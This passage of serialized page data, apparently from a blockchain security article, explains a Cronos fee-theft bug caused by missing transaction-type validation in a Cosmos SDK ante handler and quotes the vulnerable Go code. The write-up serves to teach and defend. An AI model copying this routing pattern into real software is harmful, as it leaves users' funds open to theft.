chain.",{"type":22,"tag":181,"props":81053,"children":81055},{"id":81054},"real-world-examples-2",[81056],{"type":27,"value":78015},{"type":22,"tag":23,"props":81058,"children":81059},{},[81060,81062,81067,81069,81076],{"type":27,"value":81061},"An instance of ",{"type":22,"tag":257,"props":81063,"children":81065},{"className":81064},[],[81066],{"type":27,"value":79796},{"type":27,"value":81068}," misuse is a ",{"type":22,"tag":69,"props":81070,"children":81073},{"href":81071,"rel":81072},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[73],[81074],{"type":27,"value":81075},"Theft of Fund bug",{"type":27,"value":81077}," that was exploited in a Cronos contract.",{"type":22,"tag":23,"props":81079,"children":81080},{},[81081,81083,81088,81090,81095,81097,81103,81105,81111,81113,81118,81120,81125],{"type":27,"value":81082},"In this scenario, ",{"type":22,"tag":257,"props":81084,"children":81086},{"className":81085},[],[81087],{"type":27,"value":81042},{"type":27,"value":81089}," are multiplexed to different ",{"type":22,"tag":257,"props":81091,"children":81093},{"className":81092},[],[81094],{"type":27,"value":79796},{"type":27,"value":81096}," sets through the user-controlled ",{"type":22,"tag":257,"props":81098,"children":81100},{"className":81099},[],[81101],{"type":27,"value":81102},"ExtensionOptionsEthereumTx",{"type":27,"value":81104}," option. However, due to a lack of tx validation, if a ",{"type":22,"tag":257,"props":81106,"children":81108},{"className":81107},[],[81109],{"type":27,"value":81110},"MsgEthereumTx",{"type":27,"value":81112}," does not have ",{"type":22,"tag":257,"props":81114,"children":81116},{"className":81115},[],[81117],{"type":27,"value":81102},{"type":27,"value":81119}," specified, it will be routed to non-Ethereum ",{"type":22,"tag":257,"props":81121,"children":81123},{"className":81122},[],[81124],{"type":27,"value":80545},{"type":27,"value":81126},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":22,"tag":23,"props":81128,"children":81129},{},[81130],{"type":22,"tag":69,"props":81131,"children":81134},{"href":81132,"rel":81133},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[73],[81135],{"type":27,"value":78065},{"type":22,"tag":618,"props":81137,"children":81139},{"code":81138,"language":77490,"meta":7,"className":77491,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[81140],{"type":22,"tag":257,"props":81141,"children":81142},{"__ignoreMap":7},[81143,81159,81184,81208,81225,81250,81276,81301,81324,81340,81396,81437,81463,81470,81516,81523,81569,81585,81615,81650,81702,81719,81727,81734,81763,81779,81787,81813,81821,81828,81840,81874,81920,81932,81939,81946,81953,81992,81999,82006,82013,82021,82028,82052,82076,82104,82129,82137,82170,82177,82189,82220,82275,82288,82296,82304,82312,82352,82360],{"type":22,"tag":264,"props":81144,"children":81145},{"class":1534,"line":1535},[81146,81150,81155],{"type":22,"tag":264,"props":81147,"children":81148},{"style":4293},[81149],{"type":27,"value":77626},{"type":22,"tag":264,"props":81151,"children":81152},{"style":4401},[81153],{"type":27,"value":81154}," NewAnteHandler",{"type":22,"tag":264,"props":81156,"children":81157},{"style":1539},[81158],{"type":27,"value":4767},{"type":22,"tag":264,"props":81160,"children":81161},{"class":1534,"line":1545},[81162,81167,81172,81176,81180],{"type":22,"tag":264,"props":81163,"children":81164},{"style":1549},[81165],{"type":27,"value":81166},"    ak",{"type":22,"tag":264,"props":81168,"children":81169},{"style":4722},[81170],{"type":27,"value":81171}," evmtypes",{"type":22,"tag":264,"props":81173,"children":81174},{"style":1539},[81175],{"type":27,"value":210},{"type":22,"tag":264,"props":81177,"children":81178},{"style":4722},[81179],{"type":27,"value":80707},{"type":22,"tag":264,"props":81181,"children":81182},{"style":1539},[81183],{"type":27,"value":4812},{"type":22,"tag":264,"props":81185,"children":81186},{"class":1534,"line":1560},[81187,81192,81196,81200,81204],{"type":22,"tag":264,"props":81188,"children":81189},{"style":1549},[81190],{"type":27,"value":81191},"    bankKeeper",{"type":22,"tag":264,"props":81193,"children":81194},{"style":4722},[81195],{"type":27,"value":81171},{"type":22,"tag":264,"props":81197,"children":81198},{"style":1539},[81199],{"type":27,"value":210},{"type":22,"tag":264,"props":81201,"children":81202},{"style":4722},[81203],{"type":27,"value":80780},{"type":22,"tag":264,"props":81205,"children":81206},{"style":1539},[81207],{"type":27,"value":4812},{"type":22,"tag":264,"props":81209,"children":81210},{"class":1534,"line":1569},[81211,81216,81221],{"type":22,"tag":264,"props":81212,"children":81213},{"style":1549},[81214],{"type":27,"value":81215},"    evmKeeper",{"type":22,"tag":264,"props":81217,"children":81218},{"style":4722},[81219],{"type":27,"value":81220}," EVMKeeper",{"type":22,"tag":264,"props":81222,"children":81223},{"style":1539},[81224],{"type":27,"value":4812},{"type":22,"tag":264,"props":81226,"children":81227},{"class":1534,"line":1583},[81228,81233,81238,81242,81246],{"type":22,"tag":264,"props":81229,"children":81230},{"style":1549},[81231],{"type":27,"value":81232},"    feeGrantKeeper",{"type":22,"tag":264,"props":81234,"children":81235},{"style":4722},[81236],{"type":27,"value":81237}," authante",{"type":22,"tag":264,"props":81239,"children":81240},{"style":1539},[81241],{"type":27,"value":210},{"type":22,"tag":264,"props":81243,"children":81244},{"style":4722},[81245],{"type":27,"value":80797},{"type":22,"tag":264,"props":81247,"children":81248},{"style":1539},[81249],{"type":27,"value":4812},{"type":22,"tag":264,"props":81251,"children":81252},{"class":1534,"line":1603},[81253,81258,81263,81267,81272],{"type":22,"tag":264,"props":81254,"children":81255},{"style":1549},[81256],{"type":27,"value":81257},"    channelKeeper",{"type":22,"tag":264,"props":81259,"children":81260},{"style":4722},[81261],{"type":27,"value":81262}," channelkeeper",{"type":22,"tag":264,"props":81264,"children":81265},{"style":1539},[81266],{"type":27,"value":210},{"type":22,"tag":264,"props":81268,"children":81269},{"style":4722},[81270],{"type":27,"value":81271},"Keeper",{"type":22,"tag":264,"props":81273,"children":81274},{"style":1539},[81275],{"type":27,"value":4812},{"type":22,"tag":264,"props":81277,"children":81278},{"class":1534,"line":1612},[81279,81284,81289,81293,81297],{"type":22,"tag":264,"props":81280,"children":81281},{"style":1549},[81282],{"type":27,"value":81283},"    signModeHandler",{"type":22,"tag":264,"props":81285,"children":81286},{"style":4722},[81287],{"type":27,"value":81288}," authsigning",{"type":22,"tag":264,"props":81290,"children":81291},{"style":1539},[81292],{"type":27,"value":210},{"type":22,"tag":264,"props":81294,"children":81295},{"style":4722},[81296],{"type":27,"value":80965},{"type":22,"tag":264,"props":81298,"children":81299},{"style":1539},[81300],{"type":27,"value":4812},{"type":22,"tag":264,"props":81302,"children":81303},{"class":1534,"line":1621},[81304,81308,81312,81316,81320],{"type":22,"tag":264,"props":81305,"children":81306},{"style":1539},[81307],{"type":27,"value":4390},{"type":22,"tag":264,"props":81309,"children":81310},{"style":4722},[81311],{"type":27,"value":80056},{"type":22,"tag":264,"props":81313,"children":81314},{"style":1539},[81315],{"type":27,"value":210},{"type":22,"tag":264,"props":81317,"children":81318},{"style":4722},[81319],{"type":27,"value":79796},{"type":22,"tag":264,"props":81321,"children":81322},{"style":1539},[81323],{"type":27,"value":4594},{"type":22,"tag":264,"props":81325,"children":81326},{"class":1534,"line":1629},[81327,81331,81336],{"type":22,"tag":264,"props":81328,"children":81329},{"style":4328},[81330],{"type":27,"value":18291},{"type":22,"tag":264,"props":81332,"children":81333},{"style":4293},[81334],{"type":27,"value":81335}," func",{"type":22,"tag":264,"props":81337,"children":81338},{"style":1539},[81339],{"type":27,"value":4767},{"type":22,"tag":264,"props":81341,"children":81342},{"class":1534,"line":1642},[81343,81347,81351,81355,81359,81363,81367,81371,81375,81379,81383,81388,81392],{"type":22,"tag":264,"props":81344,"children":81345},{"style":1549},[81346],{"type":27,"value":27498},{"type":22,"tag":264,"props":81348,"children":81349},{"style":4722},[81350],{"type":27,"value":79967},{"type":22,"tag":264,"props":81352,"children":81353},{"style":1539},[81354],{"type":27,"value":210},{"type":22,"tag":264,"props":81356,"children":81357},{"style":4722},[81358],{"type":27,"value":77675},{"type":22,"tag":264,"props":81360,"children":81361},{"style":1539},[81362],{"type":27,"value":4380},{"type":22,"tag":264,"props":81364,"children":81365},{"style":1549},[81366],{"type":27,"value":80507},{"type":22,"tag":264,"props":81368,"children":81369},{"style":4722},[81370],{"type":27,"value":79967},{"type":22,"tag":264,"props":81372,"children":81373},{"style":1539},[81374],{"type":27,"value":210},{"type":22,"tag":264,"props":81376,"children":81377},{"style":4722},[81378],{"type":27,"value":80000},{"type":22,"tag":264,"props":81380,"children":81381},{"style":1539},[81382],{"type":27,"value":4380},{"type":22,"tag":264,"props":81384,"children":81385},{"style":1549},[81386],{"type":27,"value":81387},"sim",{"type":22,"tag":264,"props":81389,"children":81390},{"style":4722},[81391],{"type":27,"value":13349},{"type":22,"tag":264,"props":81393,"children":81394},{"style":1539},[81395],{"type":27,"value":4812},{"type":22,"tag":264,"props":81397,"children":81398},{"class":1534,"line":1660},[81399,81404,81409,81413,81417,81421,81425,81429,81433],{"type":22,"tag":264,"props":81400,"children":81401},{"style":1539},[81402],{"type":27,"value":81403},"    ) (",{"type":22,"tag":264,"props":81405,"children":81406},{"style":1549},[81407],{"type":27,"value":81408},"newCtx",{"type":22,"tag":264,"props":81410,"children":81411},{"style":4722},[81412],{"type":27,"value":79967},{"type":22,"tag":264,"props":81414,"children":81415},{"style":1539},[81416],{"type":27,"value":210},{"type":22,"tag":264,"props":81418,"children":81419},{"style":4722},[81420],{"type":27,"value":77675},{"type":22,"tag":264,"props":81422,"children":81423},{"style":1539},[81424],{"type":27,"value":4380},{"type":22,"tag":264,"props":81426,"children":81427},{"style":1549},[81428],{"type":27,"value":49740},{"type":22,"tag":264,"props":81430,"children":81431},{"style":4722},[81432],{"type":27,"value":16176},{"type":22,"tag":264,"props":81434,"children":81435},{"style":1539},[81436],{"type":27,"value":16103},{"type":22,"tag":264,"props":81438,"children":81439},{"class":1534,"line":1668},[81440,81445,81450,81454,81458],{"type":22,"tag":264,"props":81441,"children":81442},{"style":4293},[81443],{"type":27,"value":81444},"        var",{"type":22,"tag":264,"props":81446,"children":81447},{"style":1549},[81448],{"type":27,"value":81449}," anteHandler",{"type":22,"tag":264,"props":81451,"children":81452},{"style":4722},[81453],{"type":27,"value":79967},{"type":22,"tag":264,"props":81455,"children":81456},{"style":1539},[81457],{"type":27,"value":210},{"type":22,"tag":264,"props":81459,"children":81460},{"style":4722},[81461],{"type":27,"value":81462},"AnteHandler\n",{"type":22,"tag":264,"props":81464,"children":81465},{"class":1534,"line":1677},[81466],{"type":22,"tag":264,"props":81467,"children":81468},{"emptyLinePlaceholder":17},[81469],{"type":27,"value":4986},{"type":22,"tag":264,"props":81471,"children":81472},{"class":1534,"line":1686},[81473,81478,81483,81487,81491,81495,81500,81504,81508,81512],{"type":22,"tag":264,"props":81474,"children":81475},{"style":4328},[81476],{"type":27,"value":81477},"        defer",{"type":22,"tag":264,"props":81479,"children":81480},{"style":4401},[81481],{"type":27,"value":81482}," Recover",{"type":22,"tag":264,"props":81484,"children":81485},{"style":1539},[81486],{"type":27,"value":2660},{"type":22,"tag":264,"props":81488,"children":81489},{"style":1549},[81490],{"type":27,"value":21587},{"type":22,"tag":264,"props":81492,"children":81493},{"style":1539},[81494],{"type":27,"value":210},{"type":22,"tag":264,"props":81496,"children":81497},{"style":4401},[81498],{"type":27,"value":81499},"Logger",{"type":22,"tag":264,"props":81501,"children":81502},{"style":1539},[81503],{"type":27,"value":19678},{"type":22,"tag":264,"props":81505,"children":81506},{"style":4309},[81507],{"type":27,"value":4413},{"type":22,"tag":264,"props":81509,"children":81510},{"style":1549},[81511],{"type":27,"value":49740},{"type":22,"tag":264,"props":81513,"children":81514},{"style":1539},[81515],{"type":27,"value":4463},{"type":22,"tag":264,"props":81517,"children":81518},{"class":1534,"line":4948},[81519],{"type":22,"tag":264,"props":81520,"children":81521},{"emptyLinePlaceholder":17},[81522],{"type":27,"value":4986},{"type":22,"tag":264,"props":81524,"children":81525},{"class":1534,"line":4957},[81526,81531,81535,81539,81543,81547,81551,81556,81560,81565],{"type":22,"tag":264,"props":81527,"children":81528},{"style":1549},[81529],{"type":27,"value":81530},"        txWithExtensions",{"type":22,"tag":264,"props":81532,"children":81533},{"style":1539},[81534],{"type":27,"value":4380},{"type":22,"tag":264,"props":81536,"children":81537},{"style":1549},[81538],{"type":27,"value":80093},{"type":22,"tag":264,"props":81540,"children":81541},{"style":4309},[81542],{"type":27,"value":77742},{"type":22,"tag":264,"props":81544,"children":81545},{"style":1549},[81546],{"type":27,"value":69351},{"type":22,"tag":264,"props":81548,"children":81549},{"style":1539},[81550],{"type":27,"value":80106},{"type":22,"tag":264,"props":81552,"children":81553},{"style":4722},[81554],{"type":27,"value":81555},"authante",{"type":22,"tag":264,"props":81557,"children":81558},{"style":1539},[81559],{"type":27,"value":210},{"type":22,"tag":264,"props":81561,"children":81562},{"style":4722},[81563],{"type":27,"value":81564},"HasExtensionOptionsTx",{"type":22,"tag":264,"props":81566,"children":81567},{"style":1539},[81568],{"type":27,"value":4463},{"type":22,"tag":264,"props":81570,"children":81571},{"class":1534,"line":4980},[81572,81576,81581],{"type":22,"tag":264,"props":81573,"children":81574},{"style":4328},[81575],{"type":27,"value":4575},{"type":22,"tag":264,"props":81577,"children":81578},{"style":1549},[81579],{"type":27,"value":81580}," ok",{"type":22,"tag":264,"props":81582,"children":81583},{"style":1539},[81584],{"type":27,"value":4594},{"type":22,"tag":264,"props":81586,"children":81587},{"class":1534,"line":4989},[81588,81593,81597,81602,81606,81611],{"type":22,"tag":264,"props":81589,"children":81590},{"style":1549},[81591],{"type":27,"value":81592},"            opts",{"type":22,"tag":264,"props":81594,"children":81595},{"style":4309},[81596],{"type":27,"value":77742},{"type":22,"tag":264,"props":81598,"children":81599},{"style":1549},[81600],{"type":27,"value":81601}," txWithExtensions",{"type":22,"tag":264,"props":81603,"children":81604},{"style":1539},[81605],{"type":27,"value":210},{"type":22,"tag":264,"props":81607,"children":81608},{"style":4401},[81609],{"type":27,"value":81610},"GetExtensionOptions",{"type":22,"tag":264,"props":81612,"children":81613},{"style":1539},[81614],{"type":27,"value":9029},{"type":22,"tag":264,"props":81616,"children":81617},{"class":1534,"line":4998},[81618,81622,81626,81630,81634,81638,81642,81646],{"type":22,"tag":264,"props":81619,"children":81620},{"style":4328},[81621],{"type":27,"value":60122},{"type":22,"tag":264,"props":81623,"children":81624},{"style":4401},[81625],{"type":27,"value":9852},{"type":22,"tag":264,"props":81627,"children":81628},{"style":1539},[81629],{"type":27,"value":2660},{"type":22,"tag":264,"props":81631,"children":81632},{"style":1549},[81633],{"type":27,"value":49882},{"type":22,"tag":264,"props":81635,"children":81636},{"style":1539},[81637],{"type":27,"value":4390},{"type":22,"tag":264,"props":81639,"children":81640},{"style":4309},[81641],{"type":27,"value":11760},{"type":22,"tag":264,"props":81643,"children":81644},{"style":4344},[81645],{"type":27,"value":4347},{"type":22,"tag":264,"props":81647,"children":81648},{"style":1539},[81649],{"type":27,"value":4594},{"type":22,"tag":264,"props":81651,"children":81652},{"class":1534,"line":5067},[81653,81658,81663,81667,81672,81676,81680,81684,81689,81693,81698],{"type":22,"tag":264,"props":81654,"children":81655},{"style":4328},[81656],{"type":27,"value":81657},"                switch",{"type":22,"tag":264,"props":81659,"children":81660},{"style":1549},[81661],{"type":27,"value":81662}," typeURL",{"type":22,"tag":264,"props":81664,"children":81665},{"style":4309},[81666],{"type":27,"value":77742},{"type":22,"tag":264,"props":81668,"children":81669},{"style":1549},[81670],{"type":27,"value":81671}," opts",{"type":22,"tag":264,"props":81673,"children":81674},{"style":1539},[81675],{"type":27,"value":5045},{"type":22,"tag":264,"props":81677,"children":81678},{"style":4344},[81679],{"type":27,"value":5334},{"type":22,"tag":264,"props":81681,"children":81682},{"style":1539},[81683],{"type":27,"value":51669},{"type":22,"tag":264,"props":81685,"children":81686},{"style":4401},[81687],{"type":27,"value":81688},"GetTypeUrl",{"type":22,"tag":264,"props":81690,"children":81691},{"style":1539},[81692],{"type":27,"value":29761},{"type":22,"tag":264,"props":81694,"children":81695},{"style":1549},[81696],{"type":27,"value":81697},"typeURL",{"type":22,"tag":264,"props":81699,"children":81700},{"style":1539},[81701],{"type":27,"value":4594},{"type":22,"tag":264,"props":81703,"children":81704},{"class":1534,"line":5075},[81705,81710,81715],{"type":22,"tag":264,"props":81706,"children":81707},{"style":4328},[81708],{"type":27,"value":81709},"                case",{"type":22,"tag":264,"props":81711,"children":81712},{"style":1597},[81713],{"type":27,"value":81714}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":22,"tag":264,"props":81716,"children":81717},{"style":1539},[81718],{"type":27,"value":6858},{"type":22,"tag":264,"props":81720,"children":81721},{"class":1534,"line":5105},[81722],{"type":22,"tag":264,"props":81723,"children":81724},{"style":4284},[81725],{"type":27,"value":81726},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":22,"tag":264,"props":81728,"children":81729},{"class":1534,"line":5113},[81730],{"type":22,"tag":264,"props":81731,"children":81732},{"emptyLinePlaceholder":17},[81733],{"type":27,"value":4986},{"type":22,"tag":264,"props":81735,"children":81736},{"class":1534,"line":5145},[81737,81742,81746,81750,81754,81759],{"type":22,"tag":264,"props":81738,"children":81739},{"style":1549},[81740],{"type":27,"value":81741},"                    anteHandler",{"type":22,"tag":264,"props":81743,"children":81744},{"style":4309},[81745],{"type":27,"value":4312},{"type":22,"tag":264,"props":81747,"children":81748},{"style":1549},[81749],{"type":27,"value":79967},{"type":22,"tag":264,"props":81751,"children":81752},{"style":1539},[81753],{"type":27,"value":210},{"type":22,"tag":264,"props":81755,"children":81756},{"style":4401},[81757],{"type":27,"value":81758},"ChainAnteDecorators",{"type":22,"tag":264,"props":81760,"children":81761},{"style":1539},[81762],{"type":27,"value":4767},{"type":22,"tag":264,"props":81764,"children":81765},{"class":1534,"line":5153},[81766,81771,81775],{"type":22,"tag":264,"props":81767,"children":81768},{"style":4401},[81769],{"type":27,"value":81770},"                        NewEthSetUpContextDecorator",{"type":22,"tag":264,"props":81772,"children":81773},{"style":1539},[81774],{"type":27,"value":19678},{"type":22,"tag":264,"props":81776,"children":81777},{"style":4284},[81778],{"type":27,"value":80621},{"type":22,"tag":264,"props":81780,"children":81781},{"class":1534,"line":5213},[81782],{"type":22,"tag":264,"props":81783,"children":81784},{"style":4309},[81785],{"type":27,"value":81786},"                        ...\n",{"type":22,"tag":264,"props":81788,"children":81789},{"class":1534,"line":10343},[81790,81795,81799,81804,81808],{"type":22,"tag":264,"props":81791,"children":81792},{"style":4401},[81793],{"type":27,"value":81794},"                        NewEthIncrementSenderSequenceDecorator",{"type":22,"tag":264,"props":81796,"children":81797},{"style":1539},[81798],{"type":27,"value":2660},{"type":22,"tag":264,"props":81800,"children":81801},{"style":1549},[81802],{"type":27,"value":81803},"ak",{"type":22,"tag":264,"props":81805,"children":81806},{"style":1539},[81807],{"type":27,"value":16477},{"type":22,"tag":264,"props":81809,"children":81810},{"style":4284},[81811],{"type":27,"value":81812},"// innermost AnteDecorator.\n",{"type":22,"tag":264,"props":81814,"children":81815},{"class":1534,"line":10361},[81816],{"type":22,"tag":264,"props":81817,"children":81818},{"style":1539},[81819],{"type":27,"value":81820},"                    )\n",{"type":22,"tag":264,"props":81822,"children":81823},{"class":1534,"line":10406},[81824],{"type":22,"tag":264,"props":81825,"children":81826},{"emptyLinePlaceholder":17},[81827],{"type":27,"value":4986},{"type":22,"tag":264,"props":81829,"children":81830},{"class":1534,"line":10512},[81831,81836],{"type":22,"tag":264,"props":81832,"children":81833},{"style":4328},[81834],{"type":27,"value":81835},"                default",{"type":22,"tag":264,"props":81837,"children":81838},{"style":1539},[81839],{"type":27,"value":6858},{"type":22,"tag":264,"props":81841,"children":81842},{"class":1534,"line":24810},[81843,81848,81852,81856,81861,81865,81870],{"type":22,"tag":264,"props":81844,"children":81845},{"style":4328},[81846],{"type":27,"value":81847},"                    return",{"type":22,"tag":264,"props":81849,"children":81850},{"style":1549},[81851],{"type":27,"value":27155},{"type":22,"tag":264,"props":81853,"children":81854},{"style":1539},[81855],{"type":27,"value":4380},{"type":22,"tag":264,"props":81857,"children":81858},{"style":1549},[81859],{"type":27,"value":81860},"stacktrace",{"type":22,"tag":264,"props":81862,"children":81863},{"style":1539},[81864],{"type":27,"value":210},{"type":22,"tag":264,"props":81866,"children":81867},{"style":4401},[81868],{"type":27,"value":81869},"Propagate",{"type":22,"tag":264,"props":81871,"children":81872},{"style":1539},[81873],{"type":27,"value":4767},{"type":22,"tag":264,"props":81875,"children":81876},{"class":1534,"line":24845},[81877,81882,81886,81890,81894,81899,81903,81908,81912,81916],{"type":22,"tag":264,"props":81878,"children":81879},{"style":1549},[81880],{"type":27,"value":81881},"                        sdkerrors",{"type":22,"tag":264,"props":81883,"children":81884},{"style":1539},[81885],{"type":27,"value":210},{"type":22,"tag":264,"props":81887,"children":81888},{"style":4401},[81889],{"type":27,"value":80172},{"type":22,"tag":264,"props":81891,"children":81892},{"style":1539},[81893],{"type":27,"value":2660},{"type":22,"tag":264,"props":81895,"children":81896},{"style":1549},[81897],{"type":27,"value":81898},"sdkerrors",{"type":22,"tag":264,"props":81900,"children":81901},{"style":1539},[81902],{"type":27,"value":210},{"type":22,"tag":264,"props":81904,"children":81905},{"style":1549},[81906],{"type":27,"value":81907},"ErrUnknownExtensionOptions",{"type":22,"tag":264,"props":81909,"children":81910},{"style":1539},[81911],{"type":27,"value":4380},{"type":22,"tag":264,"props":81913,"children":81914},{"style":1549},[81915],{"type":27,"value":81697},{"type":22,"tag":264,"props":81917,"children":81918},{"style":1539},[81919],{"type":27,"value":8029},{"type":22,"tag":264,"props":81921,"children":81922},{"class":1534,"line":24853},[81923,81928],{"type":22,"tag":264,"props":81924,"children":81925},{"style":1597},[81926],{"type":27,"value":81927},"                        \"rejecting tx with unsupported extension option\"",{"type":22,"tag":264,"props":81929,"children":81930},{"style":1539},[81931],{"type":27,"value":4812},{"type":22,"tag":264,"props":81933,"children":81934},{"class":1534,"line":24861},[81935],{"type":22,"tag":264,"props":81936,"children":81937},{"style":1539},[81938],{"type":27,"value":81820},{"type":22,"tag":264,"props":81940,"children":81941},{"class":1534,"line":24870},[81942],{"type":22,"tag":264,"props":81943,"children":81944},{"style":1539},[81945],{"type":27,"value":72395},{"type":22,"tag":264,"props":81947,"children":81948},{"class":1534,"line":24912},[81949],{"type":22,"tag":264,"props":81950,"children":81951},{"emptyLinePlaceholder":17},[81952],{"type":27,"value":4986},{"type":22,"tag":264,"props":81954,"children":81955},{"class":1534,"line":24945},[81956,81960,81964,81968,81972,81976,81980,81984,81988],{"type":22,"tag":264,"props":81957,"children":81958},{"style":4328},[81959],{"type":27,"value":62050},{"type":22,"tag":264,"props":81961,"children":81962},{"style":4401},[81963],{"type":27,"value":81449},{"type":22,"tag":264,"props":81965,"children":81966},{"style":1539},[81967],{"type":27,"value":2660},{"type":22,"tag":264,"props":81969,"children":81970},{"style":1549},[81971],{"type":27,"value":21587},{"type":22,"tag":264,"props":81973,"children":81974},{"style":1539},[81975],{"type":27,"value":4380},{"type":22,"tag":264,"props":81977,"children":81978},{"style":1549},[81979],{"type":27,"value":80507},{"type":22,"tag":264,"props":81981,"children":81982},{"style":1539},[81983],{"type":27,"value":4380},{"type":22,"tag":264,"props":81985,"children":81986},{"style":1549},[81987],{"type":27,"value":81387},{"type":22,"tag":264,"props":81989,"children":81990},{"style":1539},[81991],{"type":27,"value":4463},{"type":22,"tag":264,"props":81993,"children":81994},{"class":1534,"line":24953},[81995],{"type":22,"tag":264,"props":81996,"children":81997},{"style":1539},[81998],{"type":27,"value":60206},{"type":22,"tag":264,"props":82000,"children":82001},{"class":1534,"line":24961},[82002],{"type":22,"tag":264,"props":82003,"children":82004},{"style":1539},[82005],{"type":27,"value":4651},{"type":22,"tag":264,"props":82007,"children":82008},{"class":1534,"line":24970},[82009],{"type":22,"tag":264,"props":82010,"children":82011},{"emptyLinePlaceholder":17},[82012],{"type":27,"value":4986},{"type":22,"tag":264,"props":82014,"children":82015},{"class":1534,"line":25046},[82016],{"type":22,"tag":264,"props":82017,"children":82018},{"style":4284},[82019],{"type":27,"value":82020},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":22,"tag":264,"props":82022,"children":82023},{"class":1534,"line":25079},[82024],{"type":22,"tag":264,"props":82025,"children":82026},{"emptyLinePlaceholder":17},[82027],{"type":27,"value":4986},{"type":22,"tag":264,"props":82029,"children":82030},{"class":1534,"line":25087},[82031,82036,82040,82044,82048],{"type":22,"tag":264,"props":82032,"children":82033},{"style":4328},[82034],{"type":27,"value":82035},"        switch",{"type":22,"tag":264,"props":82037,"children":82038},{"style":1549},[82039],{"type":27,"value":69351},{"type":22,"tag":264,"props":82041,"children":82042},{"style":1539},[82043],{"type":27,"value":80106},{"type":22,"tag":264,"props":82045,"children":82046},{"style":4293},[82047],{"type":27,"value":34072},{"type":22,"tag":264,"props":82049,"children":82050},{"style":1539},[82051],{"type":27,"value":16103},{"type":22,"tag":264,"props":82053,"children":82054},{"class":1534,"line":25095},[82055,82060,82064,82068,82072],{"type":22,"tag":264,"props":82056,"children":82057},{"style":4328},[82058],{"type":27,"value":82059},"        case",{"type":22,"tag":264,"props":82061,"children":82062},{"style":4722},[82063],{"type":27,"value":79967},{"type":22,"tag":264,"props":82065,"children":82066},{"style":1539},[82067],{"type":27,"value":210},{"type":22,"tag":264,"props":82069,"children":82070},{"style":4722},[82071],{"type":27,"value":80000},{"type":22,"tag":264,"props":82073,"children":82074},{"style":1539},[82075],{"type":27,"value":6858},{"type":22,"tag":264,"props":82077,"children":82078},{"class":1534,"line":25132},[82079,82084,82088,82092,82096,82100],{"type":22,"tag":264,"props":82080,"children":82081},{"style":1549},[82082],{"type":27,"value":82083},"            anteHandler",{"type":22,"tag":264,"props":82085,"children":82086},{"style":4309},[82087],{"type":27,"value":4312},{"type":22,"tag":264,"props":82089,"children":82090},{"style":1549},[82091],{"type":27,"value":79967},{"type":22,"tag":264,"props":82093,"children":82094},{"style":1539},[82095],{"type":27,"value":210},{"type":22,"tag":264,"props":82097,"children":82098},{"style":4401},[82099],{"type":27,"value":81758},{"type":22,"tag":264,"props":82101,"children":82102},{"style":1539},[82103],{"type":27,"value":4767},{"type":22,"tag":264,"props":82105,"children":82106},{"class":1534,"line":25145},[82107,82112,82116,82121,82125],{"type":22,"tag":264,"props":82108,"children":82109},{"style":1549},[82110],{"type":27,"value":82111},"                authante",{"type":22,"tag":264,"props":82113,"children":82114},{"style":1539},[82115],{"type":27,"value":210},{"type":22,"tag":264,"props":82117,"children":82118},{"style":4401},[82119],{"type":27,"value":82120},"NewSetUpContextDecorator",{"type":22,"tag":264,"props":82122,"children":82123},{"style":1539},[82124],{"type":27,"value":19678},{"type":22,"tag":264,"props":82126,"children":82127},{"style":4284},[82128],{"type":27,"value":80621},{"type":22,"tag":264,"props":82130,"children":82131},{"class":1534,"line":25158},[82132],{"type":22,"tag":264,"props":82133,"children":82134},{"style":4309},[82135],{"type":27,"value":82136},"                 